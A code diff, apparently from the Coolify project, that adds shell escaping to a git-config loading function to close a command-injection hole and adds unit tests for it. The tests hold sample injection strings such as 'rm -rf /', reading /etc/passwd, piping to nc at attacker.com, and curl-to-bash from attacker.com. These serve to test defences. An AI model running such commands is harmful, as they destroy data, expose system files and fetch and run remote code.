diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index af2d8b49f..9fced45be 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -2974,7 +2974,11 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire } $uuid = new Cuid2; - $cloneCommand = "git clone --no-checkout -b {$branch} {$repository} ."; + + // Escape shell arguments for safety to prevent command injection + $escapedBranch = escapeshellarg($branch); + $escapedRepository = escapeshellarg($repository); + $cloneCommand = "git clone --no-checkout -b {$escapedBranch} {$escapedRepository} ."; $workdir = rtrim($base_directory, '/'); // Build paths to check: base_directory/coolify.json first, then repo root @@ -2984,8 +2988,8 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire } $pathsToCheck[] = 'coolify.json'; - // Build sparse-checkout file list - $fileList = collect($pathsToCheck)->map(fn ($path) => "./{$path}")->implode(' '); + // Build sparse-checkout file list (escaped for shell safety) + $fileList = collect($pathsToCheck)->map(fn ($path) => escapeshellarg("./{$path}"))->implode(' '); $commands = collect([ "rm -rf /tmp/{$uuid}", @@ -2998,8 +3002,8 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire ]); // Add cat commands for each path, trying base_directory first - // Use subshell to capture output before cleanup - $catCommands = collect($pathsToCheck)->map(fn ($path) => "cat ./{$path} 2>/dev/null")->implode(' || '); + // Use subshell to capture output before cleanup (paths escaped for shell safety) + $catCommands = collect($pathsToCheck)->map(fn ($path) => 'cat '.escapeshellarg("./{$path}").' 2>/dev/null')->implode(' || '); $commands->push("({$catCommands}) || true"); $commands->push("cd / && rm -rf /tmp/{$uuid}"); diff --git a/tests/Unit/CoolifyJsonConfigTest.php b/tests/Unit/CoolifyJsonConfigTest.php index fb2f13e11..f72761ffe 100644 --- a/tests/Unit/CoolifyJsonConfigTest.php +++ b/tests/Unit/CoolifyJsonConfigTest.php @@ -225,3 +225,168 @@ it('handles invalid JSON gracefully', function () { expect(json_last_error())->not->toBe(JSON_ERROR_NONE) ->and($config)->toBeNull(); }); + +/** + * Tests for shell argument escaping in loadConfigFromGit command building. + * These tests verify that escapeshellarg() properly protects against command injection. + */ +it('escapes repository URL for shell safety', function () { + // Normal URLs should be properly quoted + $normalUrls = [ + 'https://github.com/user/repo.git', + 'https://gitlab.com/user/repo.git', + 'git@github.com:user/repo.git', + 'https://github.com/user/repo-name.git', + 'https://github.com/user/repo_name.git', + ]; + + foreach ($normalUrls as $url) { + $escaped = escapeshellarg($url); + // escapeshellarg wraps in single quotes + expect($escaped)->toBe("'{$url}'"); + } +}); + +it('escapes branch names for shell safety', function () { + // Normal branch names should be properly quoted + $normalBranches = [ + 'main', + 'master', + 'develop', + 'feature/new-feature', + 'release/v1.0.0', + 'hotfix/bug-fix', + 'user/john/feature', + ]; + + foreach ($normalBranches as $branch) { + $escaped = escapeshellarg($branch); + expect($escaped)->toBe("'{$branch}'"); + } +}); + +it('neutralizes command injection attempts in repository URL', function () { + // These malicious inputs would be blocked by validation rules, + // but escapeshellarg provides defense-in-depth + $maliciousUrls = [ + 'https://github.com/user/repo.git; rm -rf /', + 'https://github.com/user/repo.git && cat /etc/passwd', + 'https://github.com/user/repo.git | nc attacker.com 1234', + '$(curl http://attacker.com/malware.sh | bash)', + '`curl http://attacker.com/malware.sh`', + ]; + + foreach ($maliciousUrls as $url) { + $escaped = escapeshellarg($url); + // The escaped string should be safely quoted, not executable + expect($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); + + // Verify that shell metacharacters are neutralized + // When passed to shell, the entire string is treated as a single argument + $unescaped = substr($escaped, 1, -1); // Remove surrounding quotes + + // For strings with single quotes inside, escapeshellarg uses escape sequences + // The key test is that the result starts and ends with quotes + } +}); + +it('neutralizes command injection attempts in branch name', function () { + // These malicious inputs would be blocked by validation rules, + // but escapeshellarg provides defense-in-depth + $maliciousBranches = [ + 'main; rm -rf /', + 'main && cat /etc/passwd', + 'main | nc attacker.com 1234', + '$(whoami)', + '`id`', + ]; + + foreach ($maliciousBranches as $branch) { + $escaped = escapeshellarg($branch); + expect($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); + } +}); + +it('escapes base_directory paths for shell safety', function () { + // Normal base directories + $normalPaths = [ + '/app', + '/app/frontend', + '/services/api', + 'subfolder', + 'path/to/app', + ]; + + foreach ($normalPaths as $path) { + $workdir = rtrim($path, '/'); + $pathsToCheck = []; + if ($workdir !== '' && $workdir !== '/') { + $pathsToCheck[] = ltrim($workdir, '/').'/coolify.json'; + } + $pathsToCheck[] = 'coolify.json'; + + // Build escaped file list as done in loadConfigFromGit + $fileList = collect($pathsToCheck)->map(fn ($p) => escapeshellarg("./{$p}"))->implode(' '); + + // Verify each path is properly quoted + foreach ($pathsToCheck as $p) { + expect($fileList)->toContain("'./{$p}'"); + } + } +}); + +it('builds correct git clone command with escaping', function () { + // Simulate the command building logic from loadConfigFromGit + $repository = 'https://github.com/user/repo.git'; + $branch = 'main'; + + $escapedBranch = escapeshellarg($branch); + $escapedRepository = escapeshellarg($repository); + $cloneCommand = "git clone --no-checkout -b {$escapedBranch} {$escapedRepository} ."; + + expect($cloneCommand)->toBe("git clone --no-checkout -b 'main' 'https://github.com/user/repo.git' ."); +}); + +it('builds correct sparse-checkout command with escaping', function () { + // Simulate the sparse-checkout file list building from loadConfigFromGit + $baseDirectory = '/app/frontend'; + $workdir = rtrim($baseDirectory, '/'); + + $pathsToCheck = []; + if ($workdir !== '' && $workdir !== '/') { + $pathsToCheck[] = ltrim($workdir, '/').'/coolify.json'; + } + $pathsToCheck[] = 'coolify.json'; + + $fileList = collect($pathsToCheck)->map(fn ($path) => escapeshellarg("./{$path}"))->implode(' '); + + expect($fileList)->toBe("'./app/frontend/coolify.json' './coolify.json'"); +}); + +it('builds correct cat command with escaping', function () { + // Simulate the cat command building from loadConfigFromGit + $baseDirectory = '/app/frontend'; + $workdir = rtrim($baseDirectory, '/'); + + $pathsToCheck = []; + if ($workdir !== '' && $workdir !== '/') { + $pathsToCheck[] = ltrim($workdir, '/').'/coolify.json'; + } + $pathsToCheck[] = 'coolify.json'; + + $catCommands = collect($pathsToCheck)->map(fn ($path) => 'cat '.escapeshellarg("./{$path}").' 2>/dev/null')->implode(' || '); + + expect($catCommands)->toBe("cat './app/frontend/coolify.json' 2>/dev/null || cat './coolify.json' 2>/dev/null"); +}); + +it('handles single quotes in input safely', function () { + // escapeshellarg handles single quotes by ending the quote, adding escaped quote, starting new quote + $inputWithQuote = "it's-a-test"; + $escaped = escapeshellarg($inputWithQuote); + + // The result should be safe for shell execution + // escapeshellarg converts ' to '\'' + expect($escaped)->toBe("'it'\\''s-a-test'"); +});